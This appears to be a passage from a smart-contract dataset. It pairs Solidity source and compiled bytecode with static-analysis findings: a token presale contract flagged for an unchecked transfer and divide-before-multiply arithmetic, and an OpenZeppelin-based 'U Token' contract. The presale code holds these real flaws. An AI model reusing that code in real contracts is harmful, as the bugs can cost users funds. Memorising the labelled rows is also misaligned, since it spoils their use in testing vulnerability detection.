uint256 buyLimitTokens = remainingTokensByMaxPrice();
require(buyLimitTokens > tokensByMaxPrice, "There is no more tokens to sell");
uint256 tradeAmountInUSD = tokens * tokenPriceUSD / 1e36; // in USD
contributionInWei[msg.sender] += msg.value;
contributionInUSD[msg.sender] += tradeAmountInUSD;
weiRaised += msg.value;
notClaimedTokens += tokens;
updateTokenPrice(_priceInWeiPerToken);
emit PreBuyTokens(msg.sender, tokens, _priceInWeiPerToken, msg.value);
}
function remainingTokensByMaxPrice() internal returns(uint256) {
uint256 maxTokenPriceUSD = initialPrice * 2**4;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(maxTokenPriceUSD);
uint256 purchesedTokensByMaxPrice = 1e18 * weiRaised / _priceInWeiPerToken;
return threshold - purchesedTokensByMaxPrice;
}
function remainingTokensByCurrentPrice() public view returns(uint256) {
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 purchesedTokens = 1e18 * weiRaised / _priceInWeiPerToken;
return threshold - purchesedTokens;
}
function updateTokenPrice(uint256 _priceInWeiPerToken) internal {
uint256 purchesedTokens = 1e18 * weiRaised / _priceInWeiPerToken;
while (purchesedTokens > threshold && tokenPriceUSD / initialPrice < 16) {
tokenPriceUSD = tokenPriceUSD * 2;
notClaimedTokens = notClaimedTokens / 2;
purchesedTokens = 1e18 * weiRaised / getPriceInWeiPerToken(tokenPriceUSD);
}
}
function balanceOf(address adr) public view returns(uint256) {
uint256 userWeis = contributionInWei[adr];
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 tokens = 1e18 * userWeis / _priceInWeiPerToken;
return tokens;
}
function getPriceInWeiPerToken(uint256 _tokenPriceUSD) public view returns(uint256) {
int oraclePriceTemp = getLatestPriceETHUSD(); // with 10**getDecimalsOracle()
require(oraclePriceTemp > 0, "Invalid price");
return _tokenPriceUSD * 10**getDecimalsOracle() / uint256(oraclePriceTemp); // result with 1e18
}
function getPriceInWeiPerToken() public view returns(uint256) {
return getPriceInWeiPerToken(tokenPriceUSD);
}
function getLatestPriceETHUSD() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = AggregatorV3Interface(oracle).latestRoundData();
return price;
}
function getDecimalsOracle() public view returns (uint8) {
(
uint8 decimals
) = AggregatorV3Interface(oracle).decimals();
return decimals;
}
}
|
0x60806040526004361061016a5760003560e01c80636f71c5ea116100d15780638da5cb5b1161008a5780639cdf3007116100645780639cdf3007146104eb578063d0febe4c14610528578063f2fde38b14610532578063fc0c546a1461055b57610179565b80638da5cb5b1461046a5780638e2a95111461049557806395fe863c146104c057610179565b80636f71c5ea1461035a57806370a0823114610397578063715018a6146103d45780637d4833ad146103eb5780637dc0d1d0146104285780638d8f2adb1461045357610179565b8063407fcc3111610123578063407fcc311461026c5780634101a8401461029757806342cde4e8146102c257806348c54b9d146102ed57806354c21fb8146103045780636a4a39e91461032f57610179565b80630419b6521461017e5780631d0806ae146101a95780632e609c10146101d457806332c1410f146101ff5780633ccfd60b1461022a5780634042b66f1461024157610179565b3661017957610177610586565b005b600080fd5b34801561018a57600080fd5b5061019361088c565b6040516101a09190611bf1565b60405180910390f35b3480156101b557600080fd5b506101be61089e565b6040516101cb9190611bf1565b60405180910390f35b3480156101e057600080fd5b506101e96108a4565b6040516101f69190611bf1565b60405180910390f35b34801561020b57600080fd5b506102146108aa565b6040516102219190611c0c565b60405180910390f35b34801561023657600080fd5b5061023f610956565b005b34801561024d57600080fd5b50610256610ac0565b6040516102639190611bf1565b60405180910390f35b34801561027857600080fd5b50610281610ac6565b60405161028e9190611bf1565b60405180910390f35b3480156102a357600080fd5b506102ac610acc565b6040516102b99190611bf1565b60405180910390f35b3480156102ce57600080fd5b506102d7610ad2565b6040516102e49190611bf1565b60405180910390f35b3480156102f957600080fd5b50610302610ad8565b005b34801561031057600080fd5b50610319610dd8565b6040516103269190611bf1565b60405180910390f35b34801561033b57600080fd5b50610344610dde565b6040516103519190611bf1565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c919061179f565b610de4565b60405161038e9190611bf1565b60405180910390f35b3480156103a357600080fd5b506103be60048036038101906103b9919061179f565b610dfc565b6040516103cb9190611bf1565b60405180910390f35b3480156103e057600080fd5b506103e9610e7e565b005b3480156103f757600080fd5b50610412600480360381019061040d919061179f565b610fb8565b60405161041f9190611bf1565b60405180910390f35b34801561043457600080fd5b5061043d610fd0565b60405161044a9190611a72565b60405180910390f35b34801561045f57600080fd5b50610468610ff6565b005b34801561047657600080fd5b5061047f61127b565b60405161048c9190611a72565b60405180910390f35b3480156104a157600080fd5b506104aa6112a4565b6040516104b79190611bf1565b60405180910390f35b3480156104cc57600080fd5b506104d56112ee565b6040516104e29190611ab6565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d91906117f9565b6113ac565b60405161051f9190611bf1565b60405180910390f35b610530610586565b005b34801561053e57600080fd5b506105596004803603810190610554919061179f565b61142e565b005b34801561056757600080fd5b506105706115d7565b60405161057d9190611a72565b60405180910390f35b600954421015801561059a5750600a544211155b6105d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d090611b31565b60405180910390fd5b6002600154141561061f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061690611bb1565b60405180910390fd5b6002600181905550600060106005546106389190611e30565b905060006106476006546113ac565b905060008134670de0b6b3a76400006106609190611e30565b61066a9190611c8e565b905060006006548461067c9190611c8e565b826106879190611c8e565b9050600082116106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611b11565b60405180910390fd5b60006106d66115fd565b905081811161071a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071190611b71565b60405180910390fd5b60006ec097ce7bc90715b34b9f10000000006006548561073a9190611e30565b6107449190611c8e565b905034600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107959190611c38565b9250508190555080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107eb9190611c38565b9250508190555034600760008282546108049190611c38565b92505081905550836008600082825461081d9190611c38565b9250508190555061082d85611659565b84843373ffffffffffffffffffffffffffffffffffffffff167f7be8b0a14e85fd3f5ddebaa163632ba44986ffffcc767a4842045a48390b320f346040516108759190611bf1565b60405180910390a450505050505060018081905550565b60006108996006546113ac565b905090565b60055481565b60095481565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561091557600080fd5b505afa158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d91906118ce565b90508091505090565b61095e611704565b73ffffffffffffffffffffffffffffffffffffffff1661097c61127b565b73ffffffffffffffffffffffffffffffffffffffff16146109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990611b51565b60405180910390fd5b60026001541415610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90611bb1565b60405180910390fd5b6002600181905550600047905060003390508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610a70573d6000803e3d6000fd5b50813373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436460405160405180910390a3505060018081905550565b60075481565b60065481565b60085481565b60045481565b600b54421015610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490611af1565b60405180910390fd5b6000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690611bd1565b60405180910390fd5b60026001541415610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90611bb1565b60405180910390fd5b60026001819055506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c836006546113ac565b905060008183670de0b6b3a7640000610c9c9190611e30565b610ca69190611c8e565b90508060085410610ccf578060086000828254610cc39190611e8a565b92505081905550610cd8565b60006008819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d35929190611a8d565b602060405180830381600087803b158015610d4f57600080fd5b505af1158015610d63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8791906117cc565b50803373ffffffffffffffffffffffffffffffffffffffff167fe9aa550fd75d0d28e07fa9dd67d3ae705678776f6c4a75abd09534f93e7d790760405160405180910390a350505060018081905550565b600b5481565b600a5481565b600d6020528060005260406000206000915090505481565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610e4e6006546113ac565b905060008183670de0b6b3a7640000610e679190611e30565b610e719190611c8e565b9050809350505050919050565b610e86611704565b73ffffffffffffffffffffffffffffffffffffffff16610ea461127b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611b51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ffe611704565b73ffffffffffffffffffffffffffffffffffffffff1661101c61127b565b73ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990611b51565b60405180910390fd5b600b544210156110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90611af1565b60405180910390fd5b600260015414156110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f490611bb1565b60405180910390fd5b60026001819055506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016111629190611a72565b60206040518083038186803b15801561117a57600080fd5b505afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b29190611826565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600854846112019190611e8a565b6040518363ffffffff1660e01b815260040161121e929190611a8d565b602060405180830381600087803b15801561123857600080fd5b505af115801561124c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127091906117cc565b505060018081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806112b26006546113ac565b9050600081600754670de0b6b3a76400006112cd9190611e30565b6112d79190611c8e565b9050806004546112e79190611e8a565b9250505090565b600080600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561135f57600080fd5b505afa158015611373573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113979190611853565b94509450945094509450839550505050505090565b6000806113b76112ee565b9050600081136113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390611b91565b60405180910390fd5b806114056108aa565b600a6114119190611d12565b8461141c9190611e30565b6114269190611c8e565b915050919050565b611436611704565b73ffffffffffffffffffffffffffffffffffffffff1661145461127b565b73ffffffffffffffffffffffffffffffffffffffff16146114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190611b51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190611ad1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080601060055461160f9190611e30565b9050600061161c826113ac565b9050600081600754670de0b6b3a76400006116379190611e30565b6116419190611c8e565b9050806004546116519190611e8a565b935050505090565b600081600754670de0b6b3a76400006116729190611e30565b61167c9190611c8e565b90505b6004548111801561169f5750601060055460065461169d9190611c8e565b105b156117005760026006546116b39190611e30565b60068190555060026008546116c89190611c8e565b6008819055506116d96006546113ac565b600754670de0b6b3a76400006116ef9190611e30565b6116f99190611c8e565b905061167f565b5050565b600033905090565b60008135905061171b8161213a565b92915050565b60008151905061173081612151565b92915050565b60008151905061174581612168565b92915050565b60008135905061175a8161217f565b92915050565b60008151905061176f8161217f565b92915050565b600081519050611784816121ad565b92915050565b60008151905061179981612196565b92915050565b6000602082840312156117b5576117b4611f91565b5b60006117c38482850161170c565b91505092915050565b6000602082840312156117e2576117e1611f91565b5b60006117f084828501611721565b91505092915050565b60006020828403121561180f5761180e611f91565b5b600061181d8482850161174b565b91505092915050565b60006020828403121561183c5761183b611f91565b5b600061184a84828501611760565b91505092915050565b600080600080600060a0868803121561186f5761186e611f91565b5b600061187d88828901611775565b955050602061188e88828901611736565b945050604061189f88828901611760565b93505060606118b088828901611760565b92505060806118c188828901611775565b9150509295509295909350565b6000602082840312156118e4576118e3611f91565b5b60006118f28482850161178a565b91505092915050565b61190481611ebe565b82525050565b61191381611edc565b82525050565b6000611926602683611c27565b915061193182611fa3565b604082019050919050565b6000611949601883611c27565b915061195482611ff2565b602082019050919050565b600061196c601283611c27565b91506119778261201b565b602082019050919050565b600061198f601783611c27565b915061199a82612044565b602082019050919050565b60006119b2602083611c27565b91506119bd8261206d565b602082019050919050565b60006119d5601f83611c27565b91506119e082612096565b602082019050919050565b60006119f8600d83611c27565b9150611a03826120bf565b602082019050919050565b6000611a1b601f83611c27565b9150611a26826120e8565b602082019050919050565b6000611a3e601283611c27565b9150611a4982612111565b602082019050919050565b611a5d81611f06565b82525050565b611a6c81611f10565b82525050565b6000602082019050611a8760008301846118fb565b92915050565b6000604082019050611aa260008301856118fb565b611aaf6020830184611a54565b9392505050565b6000602082019050611acb600083018461190a565b92915050565b60006020820190508181036000830152611aea81611919565b9050919050565b60006020820190508181036000830152611b0a8161193c565b9050919050565b60006020820190508181036000830152611b2a8161195f565b9050919050565b60006020820190508181036000830152611b4a81611982565b9050919050565b60006020820190508181036000830152611b6a816119a5565b9050919050565b60006020820190508181036000830152611b8a816119c8565b9050919050565b60006020820190508181036000830152611baa816119eb565b9050919050565b60006020820190508181036000830152611bca81611a0e565b9050919050565b60006020820190508181036000830152611bea81611a31565b9050919050565b6000602082019050611c066000830184611a54565b92915050565b6000602082019050611c216000830184611a63565b92915050565b600082825260208201905092915050565b6000611c4382611f06565b9150611c4e83611f06565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c8357611c82611f33565b5b828201905092915050565b6000611c9982611f06565b9150611ca483611f06565b925082611cb457611cb3611f62565b5b828204905092915050565b6000808291508390505b6001851115611d0957808604811115611ce557611ce4611f33565b5b6001851615611cf45780820291505b8081029050611d0285611f96565b9450611cc9565b94509492505050565b6000611d1d82611f06565b9150611d2883611f10565b9250611d557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d5d565b905092915050565b600082611d6d5760019050611e29565b81611d7b5760009050611e29565b8160018114611d915760028114611d9b57611dca565b6001915050611e29565b60ff841115611dad57611dac611f33565b5b8360020a915084821115611dc457611dc3611f33565b5b50611e29565b5060208310610133831016604e8410600b8410161715611dff5782820a905083811115611dfa57611df9611f33565b5b611e29565b611e0c8484846001611cbf565b92509050818404811115611e2357611e22611f33565b5b81810290505b9392505050565b6000611e3b82611f06565b9150611e4683611f06565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e7f57611e7e611f33565b5b828202905092915050565b6000611e9582611f06565b9150611ea083611f06565b925082821015611eb357611eb2611f33565b5b828203905092915050565b6000611ec982611ee6565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600069ffffffffffffffffffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f436c61696d20706572696f64206e6f7420737461727465640000000000000000600082015250565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f49742773206e6f742070726573616c6520706572696f64000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5468657265206973206e6f206d6f726520746f6b656e7320746f2073656c6c00600082015250565b7f496e76616c696420707269636500000000000000000000000000000000000000600082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f5573657220686173204e4f20746f6b656e730000000000000000000000000000600082015250565b61214381611ebe565b811461214e57600080fd5b50565b61215a81611ed0565b811461216557600080fd5b50565b61217181611edc565b811461217c57600080fd5b50565b61218881611f06565b811461219357600080fd5b50565b61219f81611f10565b81146121aa57600080fd5b50565b6121b681611f1d565b81146121c157600080fd5b5056fea26469706673582212200f56a87e9ece96d97a143056eb4f0aac81e838d8c33474a40fce2e69ec95536864736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,767 |
0x3D3af44cf092a49280e316f09c8f20ecf97BC933
|
pragma solidity ^0.4.21;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/Ucoin.sol
contract Ucoin is PausableToken, BurnableToken, MintableToken {
string public name = "U Token";
string public symbol = "UCX";
uint8 public decimals = 18;
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610146578063095ea7b3146101d657806318160ddd1461023b57806323b872dd14610266578063313ce567146102eb5780633f4ba83a1461031c57806340c10f191461033357806342966c68146103985780635c975abb146103c557806366188463146103f457806370a08231146104595780637d64bcb4146104b05780638456cb59146104df5780638da5cb5b146104f657806395d89b411461054d578063a9059cbb146105dd578063d73dd62314610642578063dd62ed3e146106a7578063f2fde38b1461071e575b600080fd5b34801561012357600080fd5b5061012c610761565b604051808215151515815260200191505060405180910390f35b34801561015257600080fd5b5061015b610774565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019b578082015181840152602081019050610180565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e257600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610812565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b50610250610842565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b506102d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084c565b604051808215151515815260200191505060405180910390f35b3480156102f757600080fd5b5061030061087e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032857600080fd5b50610331610891565b005b34801561033f57600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610951565b604051808215151515815260200191505060405180910390f35b3480156103a457600080fd5b506103c360048036038101908080359060200190929190505050610b37565b005b3480156103d157600080fd5b506103da610b44565b604051808215151515815260200191505060405180910390f35b34801561040057600080fd5b5061043f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b604051808215151515815260200191505060405180910390f35b34801561046557600080fd5